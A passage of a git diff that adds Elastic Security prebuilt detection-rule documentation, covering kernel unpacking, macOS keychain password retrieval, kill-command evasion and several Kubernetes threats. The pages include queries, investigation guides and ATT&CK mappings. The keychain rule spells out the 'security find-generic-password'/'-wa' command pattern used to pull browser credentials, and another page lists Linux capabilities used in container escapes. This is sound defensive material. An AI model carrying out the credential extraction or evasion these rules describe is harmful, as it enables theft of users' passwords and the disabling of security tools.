new file mode 100644 index 0000000000..bbb787046e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kernel-unpacking-activity.asciidoc @@ -0,0 +1,174 @@ +[[prebuilt-rule-8-19-20-kernel-unpacking-activity]] +=== Kernel Unpacking Activity + +This rule detects kernel unpacking activity through several built-in Linux utilities. Attackers may use these utilities to unpack kernel images and modules to search for vulnerabilities or to modify the kernel. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/declawing-pumakit + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kernel Unpacking Activity* + + +Kernel unpacking involves using utilities to extract or inspect kernel images and modules, often for legitimate maintenance or updates. However, adversaries exploit this to identify vulnerabilities or alter the kernel for malicious purposes. The detection rule identifies suspicious unpacking by monitoring specific Linux utilities and command patterns, excluding benign processes like system updates, to flag potential threats. + + +*Possible investigation steps* + + +- Review the process details to identify the specific utility used for unpacking, such as "file", "unlzma", "gunzip", etc., and verify if the usage aligns with typical system maintenance activities. +- Examine the parent process name and arguments, especially those involving "/boot/*", to determine if the unpacking activity is part of a legitimate system operation or an unauthorized action. +- Check the user account associated with the process to assess if the activity was initiated by a legitimate user or an unauthorized entity. +- Investigate the timing of the event to see if it coincides with scheduled maintenance or updates, which might explain the unpacking activity. +- Look for any related alerts or logs that might indicate further suspicious behavior, such as attempts to modify kernel modules or other system files following the unpacking activity. +- Cross-reference the event with recent system updates or patches to rule out false positives related to legitimate system operations. + + +*False positive analysis* + + +- System updates and maintenance activities can trigger this rule when legitimate processes unpack kernel images. To manage this, exclude processes initiated by known update utilities like "mkinitramfs" from triggering alerts. +- Custom scripts or administrative tasks that involve unpacking kernel images for legitimate purposes may also cause false positives. Identify and whitelist these scripts or processes by their specific command patterns or parent process names. +- Backup or recovery operations that involve accessing or unpacking kernel files might be flagged. Review these operations and exclude them by specifying the responsible process names or arguments in the detection rule. +- Automated security tools that scan or analyze kernel images for compliance or vulnerability assessments can be mistaken for malicious activity. Exclude these tools by adding their process names to the exception list. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent potential lateral movement or further exploitation by the adversary. +- Terminate any suspicious processes identified by the detection rule, especially those involving the unpacking of kernel images or modules. +- Conduct a thorough review of the system's kernel and module integrity using trusted tools to ensure no unauthorized modifications have been made. +- Restore the system from a known good backup if any unauthorized changes to the kernel or system files are detected. +- Update the system's kernel and all related packages to the latest versions to mitigate any known vulnerabilities that could be exploited. +- Monitor the system for any recurring suspicious activity, focusing on the use of utilities and command patterns identified in the detection rule. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +(process.parent.args like "/boot/*" or process.args like "/boot/*") and ( + (process.name in ("file", "unlzma", "gunzip", "unxz", "bunzip2", "unzstd", "unzip", "tar")) or + (process.name == "grep" and process.args == "ELF") or + (process.name in ("lzop", "lz4") and process.args in ("-d", "--decode")) +) and +not ( + process.parent.name == "mkinitramfs" or + process.parent.executable like ( + "/usr/lib/needrestart/vmlinuz-get-version", "/usr/libexec/platform-python*", "/tmp/newroot/usr/libexec/platform-python*", + "/usr/bin/kdumpctl", "/usr/bin/stap-report", "/usr/sbin/nv-update-initrd" + ) or + process.parent.command_line like "*ansible*" or + process.parent.args == "/usr/bin/kdumpctl" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-keychain-password-retrieval-via-command-line.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-keychain-password-retrieval-via-command-line.asciidoc new file mode 100644 index 0000000000..f74eae893b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-keychain-password-retrieval-via-command-line.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-20-keychain-password-retrieval-via-command-line]] +=== Keychain Password Retrieval via Command Line + +Adversaries may collect keychain storage data from a system to in order to acquire credentials. Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features, including Wi-Fi and website passwords, secure notes, certificates, and Kerberos. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.netmeister.org/blog/keychain-passwords.html +* https://github.com/priyankchheda/chrome_password_grabber/blob/master/chrome.py +* https://ss64.com/osx/security.html +* https://www.intezer.com/blog/research/operation-electrorat-attacker-creates-fake-companies-to-drain-your-crypto-wallets/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Keychain Password Retrieval via Command Line* + + +Keychain is macOS's secure storage system for managing user credentials, including passwords and certificates. Adversaries may exploit command-line tools to extract sensitive data from Keychain, targeting browsers like Chrome and Safari. The detection rule identifies suspicious command executions involving Keychain access, focusing on specific arguments and excluding legitimate applications, to flag potential credential theft attempts. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of the 'security' command with arguments '-wa' or '-ga' and 'find-generic-password' or 'find-internet-password', as these indicate attempts to access Keychain data. +- Examine the command line for references to browsers such as Chrome, Safari, or others specified in the rule to determine if the target was browser-related credentials. +- Investigate the parent process of the suspicious command to ensure it is not a legitimate application, specifically checking that it is not the Keeper Password Manager, as this is excluded in the rule. +- Check the user account associated with the process execution to determine if the activity aligns with expected behavior for that user or if it suggests unauthorized access. +- Review recent login and access logs for the system to identify any unusual or unauthorized access patterns that could correlate with the suspicious Keychain access attempt. +- Assess the system for any additional indicators of compromise or related suspicious activities that might suggest a broader security incident. + + +*False positive analysis* + + +- Legitimate password managers like Keeper Password Manager may trigger the rule due to their access to Keychain for managing user credentials. To handle this, ensure that the process parent executable path for such applications is added to the exclusion list. +- System maintenance or administrative scripts that access Keychain for legitimate purposes might be flagged. Review these scripts and, if verified as safe, add their specific command patterns to the exception list. +- Development or testing tools that interact with browsers and require Keychain access could cause false positives. Identify these tools and exclude their specific process names or command-line arguments if they are part of regular operations. +- Automated backup or synchronization services that access browser credentials stored in Keychain may be mistakenly identified. Confirm these services' legitimacy and exclude their associated processes from the detection rule. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the detection rule, particularly those involving the 'security' command with the specified arguments targeting browsers. +- Conduct a thorough review of the system's keychain access logs to identify any unauthorized access attempts and determine the scope of the compromise. +- Change all potentially compromised credentials stored in the keychain, including browser passwords and Wi-Fi credentials, and ensure they are updated across all relevant services. +- Implement additional monitoring on the affected system and similar endpoints to detect any further attempts to access keychain data using command-line tools. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the need for broader organizational response measures. +- Review and update endpoint security configurations to restrict unauthorized access to keychain data and enhance logging for keychain-related activities. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.action == "exec" and + process.name == "security" and + process.args like ("-wa", "-ga") and process.args like~ ("find-generic-password", "find-internet-password") and + process.command_line : ("*Chrome*", "*Chromium*", "*Opera*", "*Safari*", "*Brave*", "*Microsoft Edge*", "*Firefox*") and + not process.parent.executable like "/Applications/Keeper Password Manager.app/Contents/Frameworks/Keeper Password Manager Helper*/Contents/MacOS/Keeper Password Manager Helper*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Sub-technique: +** Name: Keychain +** ID: T1555.001 +** Reference URL: https://attack.mitre.org/techniques/T1555/001/ +* Sub-technique: +** Name: Credentials from Web Browsers +** ID: T1555.003 +** Reference URL: https://attack.mitre.org/techniques/T1555/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kill-command-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kill-command-execution.asciidoc new file mode 100644 index 0000000000..353f85dc6d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kill-command-execution.asciidoc @@ -0,0 +1,188 @@ +[[prebuilt-rule-8-19-20-kill-command-execution]] +=== Kill Command Execution + +This rule detects the execution of kill, pkill, and killall commands on Linux systems. These commands are used to terminate processes on a system. Attackers may use these commands to kill security tools or other processes to evade detection or disrupt system operations. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kill Command Execution* + +In Linux environments, commands like kill, pkill, and killall are essential for managing processes, allowing users to terminate them as needed. However, adversaries can exploit these commands to disable security tools or disrupt operations, aiding in evasion tactics. The detection rule identifies such misuse by monitoring process execution events, specifically targeting these commands to flag potential threats. + + +*Possible investigation steps* + + +- Review the process execution event details to identify the user account associated with the kill, pkill, or killall command execution. This can help determine if the action was performed by a legitimate user or a potential adversary. +- Examine the parent process of the command execution to understand the context in which the kill command was initiated. This can provide insights into whether the command was part of a script or an interactive session. +- Check the target process IDs (PIDs) that were terminated by the kill command to assess if critical or security-related processes were affected, which might indicate malicious intent. +- Investigate the timing and frequency of the command execution to identify patterns or anomalies, such as repeated or scheduled executions, which could suggest automated or scripted activity. +- Correlate the event with other security alerts or logs from the same host around the same timeframe to identify any related suspicious activities or indicators of compromise. + + +*False positive analysis* + + +- Routine system maintenance tasks may trigger the rule when administrators use kill commands to manage processes. To handle this, create exceptions for known maintenance scripts or processes by identifying their unique attributes, such as user or command line arguments. +- Automated scripts or monitoring tools that use kill commands for legitimate purposes, like restarting services, can cause false positives. Exclude these by specifying the script names or paths in the detection rule. +- Development environments where developers frequently use kill commands during testing can lead to alerts. Consider excluding processes executed by specific user accounts associated with development activities. +- System updates or package management tools might use kill commands as part of their operation. Identify these processes and exclude them based on their parent process or command line patterns. +- Backup or recovery operations that involve stopping services may trigger the rule. Exclude these by recognizing the specific backup software or service names involved. + + +*Response and remediation* + + +- Immediately isolate the affected Linux system from the network to prevent further malicious activity or lateral movement by the attacker. +- Identify and terminate any unauthorized or suspicious processes that were started around the time of the alert, focusing on those that may have been targeted by the kill, pkill, or killall commands. +- Review system logs and process execution history to determine the origin of the kill command execution and assess whether it was initiated by a legitimate user or a compromised account. +- Restore any terminated security tools or critical processes to ensure the system's defenses are fully operational. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection tools to identify and remove any additional malware or persistence mechanisms. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if other systems may be affected. +- Implement additional monitoring and alerting for similar command executions across the network to enhance detection and response capabilities for future incidents. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:linux and event.type:start and event.action:exec and +process.name:(kill or pkill or killall) and not ( + process.args:("-HUP" or "-SIGUSR1" or "-USR2" or "-WINCH" or "-USR1") or + process.parent.command_line:"runc init" or + process.parent.executable:( + "/usr/lib/systemd/systemd" or "/usr/local/qualys/cloud-agent/bin/qualys-cloud-agent" or "/bin/xargs" or + "/usr/bin/xargs" or "/usr/bin/sudo" or "/usr/sbin/safe_asterisk" or "/usr/local/manageengine/uems_agent/bin/dcservice" or + "/lib/systemd/systemd" or "/opt/nessus_agent/sbin/nessuscli" or "/etc/rubrik/start_stop_bootstrap.sh" or + "/usr/local/manageengine/uems_agent/bin/dcpatchscan") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Indicator Blocking +** ID: T1562.006 +** Reference URL: https://attack.mitre.org/techniques/T1562/006/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Hidden Files and Directories +** ID: T1564.001 +** Reference URL: https://attack.mitre.org/techniques/T1564/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kubernetes-anonymous-user-create-update-patch-pods-request.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kubernetes-anonymous-user-create-update-patch-pods-request.asciidoc new file mode 100644 index 0000000000..da072a6719 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kubernetes-anonymous-user-create-update-patch-pods-request.asciidoc @@ -0,0 +1,65 @@ +[[prebuilt-rule-8-19-20-kubernetes-anonymous-user-create-update-patch-pods-request]] +=== Kubernetes Anonymous User Create/Update/Patch Pods Request + +This rule detects attempts to create, update, or patch pods by an anonymous user. An anonymous user is a user that is not authenticated or authorized to access the Kubernetes API server. Creating, updating, or patching pods is a common activity for attackers to gain access to the cluster and execute commands. + +*Rule type*: eql + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Rule query + + +[source, js] +---------------------------------- +any where event.dataset == "kubernetes.audit_logs" and ( + kubernetes.audit.user.username in ("system:anonymous", "system:unauthenticated") or + kubernetes.audit.user.username == null or + kubernetes.audit.user.username == "" + ) and kubernetes.audit.level in ("RequestResponse", "ResponseComplete", "Request") and kubernetes.audit.verb in ("create", "update", "patch") and +kubernetes.audit.objectRef.resource == "pods" + + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kubernetes-container-created-with-excessive-linux-capabilities.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kubernetes-container-created-with-excessive-linux-capabilities.asciidoc new file mode 100644 index 0000000000..3498dee569 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kubernetes-container-created-with-excessive-linux-capabilities.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-20-kubernetes-container-created-with-excessive-linux-capabilities]] +=== Kubernetes Container Created with Excessive Linux Capabilities + +This rule detects a container deployed with one or more dangerously permissive Linux capabilities. An attacker with the ability to deploy a container with added capabilities could use this for further execution, lateral movement, or privilege escalation within a cluster. The capabilities detected in this rule have been used in container escapes to the host machine. + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/tasks/configure-pod-container/security-context/#set-capabilities-for-a-container +* https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities +* https://man7.org/linux/man-pages/man7/capabilities.7.html +* https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Kubernetes Container Created with Excessive Linux Capabilities* + + +Linux capabilities were designed to divide root privileges into smaller units. Each capability grants a thread just enough power to perform specific privileged tasks. In Kubernetes, containers are given a set of default capabilities that can be dropped or added to at the time of creation. Added capabilities entitle containers in a pod with additional privileges that can be used to change +core processes, change network settings of a cluster, or directly access the underlying host. The following have been used in container escape techniques: + +BPF - Allow creating BPF maps, loading BPF Type Format (BTF) data, retrieve JITed code of BPF programs, and more. +DAC_READ_SEARCH - Bypass file read permission checks and directory read and execute permission checks. +NET_ADMIN - Perform various network-related operations. +SYS_ADMIN - Perform a range of system administration operations. +SYS_BOOT - Use reboot(2) and kexec_load(2), reboot and load a new kernel for later execution. +SYS_MODULE - Load and unload kernel modules. +SYS_PTRACE - Trace arbitrary processes using ptrace(2). +SYS_RAWIO - Perform I/O port operations (iopl(2) and ioperm(2)). +SYSLOG - Perform privileged syslog(2) operations. + + +*False positive analysis* + + +- While these capabilities are not included by default in containers, some legitimate images may need to add them. This rule leaves space for the exception of trusted container images. To add an exception, add the trusted container image name to the query field, kubernetes.audit.requestObject.spec.containers.image. + +==== Setup + + +The Kubernetes Fleet integration with Audit Logs enabled or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: kubernetes.audit_logs and kubernetes.audit.annotations.authorization_k8s_io/decision:"allow" and +kubernetes.audit.verb: create and kubernetes.audit.objectRef.resource: pods and +kubernetes.audit.requestObject.spec.containers.securityContext.capabilities.add: ("BPF" or "DAC_READ_SEARCH" or "NET_ADMIN" or "SYS_ADMIN" or "SYS_BOOT" or "SYS_MODULE" or "SYS_PTRACE" or "SYS_RAWIO" or "SYSLOG") and +not ( + kubernetes.audit.requestObject.spec.containers.image : (docker.elastic.co/beats/elastic-agent* or rancher/klipper-lb* or "") or + kubernetes.audit.objectRef.namespace:"kube-system" or + (kubernetes.audit.objectRef.namespace:datadog and kubernetes.audit.requestObject.spec.containers.image:*datadog-agent*) or + (kubernetes.audit.objectRef.namespace:kubearmor and kubernetes.audit.requestObject.spec.containers.image:(*kubearmor\:kubearmor* or kubearmor/kubearmor-snitch*)) or + (kubernetes.audit.objectRef.namespace:defender and kubernetes.audit.requestObject.spec.containers.image:*fp-prisma\:defender-defender*) or + (kubernetes.audit.objectRef.namespace:metallb-system and kubernetes.audit.requestObject.spec.containers.image:(quay.io/frrouting* or quay.io/metallb/speaker*)) or + (kubernetes.audit.objectRef.namespace:longhorn-system and kubernetes.audit.requestObject.spec.containers.image:rancher/mirrored-longhornio*) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kubernetes-exposed-service-created-with-type-nodeport.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kubernetes-exposed-service-created-with-type-nodeport.asciidoc new file mode 100644 index 0000000000..aba445e94c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kubernetes-exposed-service-created-with-type-nodeport.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-20-kubernetes-exposed-service-created-with-type-nodeport]] +=== Kubernetes Exposed Service Created With Type NodePort + +This rule detects an attempt to create or modify a service as type NodePort. The NodePort service allows a user to externally expose a set of labeled pods to the internet. This creates an open port on every worker node in the cluster that has a pod for that service. When external traffic is received on that open port, it directs it to the specific pod through the service representing it. A malicious user can configure a service as type Nodeport in order to intercept traffic from other pods or nodes, bypassing firewalls and other network security measures configured for load balancers within a cluster. This creates a direct method of communication between the cluster and the outside world, which could be used for more malicious behavior and certainly widens the attack surface of your cluster. + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/concepts/services-networking/service/#publishing-services-service-types +* https://kubernetes.io/docs/concepts/services-networking/service/#type-nodeport +* https://www.tigera.io/blog/new-vulnerability-exposes-kubernetes-to-man-in-the-middle-attacks-heres-how-to-mitigate/ + +*Tags*: + +* Data Source: Kubernetes +* Tactic: Execution +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 208 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Exposed Service Created With Type NodePort* + + +Kubernetes NodePort services enable external access to cluster pods by opening a port on each worker node. This can be exploited by attackers to bypass network security, intercept traffic, or establish unauthorized communication channels. The detection rule identifies suspicious NodePort service creation or modification by monitoring Kubernetes audit logs for specific actions and authorization decisions, helping to mitigate potential security risks. + + +*Possible investigation steps* + + +- Review the Kubernetes audit logs to identify the specific service that was created or modified with the type NodePort. Focus on entries where kubernetes.audit.objectRef.resource is "services" and kubernetes.audit.verb is "create", "update", or "patch". +- Check the kubernetes.audit.annotations.authorization_k8s_io/decision field to confirm that the action was allowed, ensuring that the service creation or modification was authorized. +- Identify the user or service account responsible for the action by examining the relevant fields in the audit logs, such as the user identity or service account name. +- Investigate the context of the NodePort service by reviewing the associated pods and their labels to understand what applications or services are being exposed externally. +- 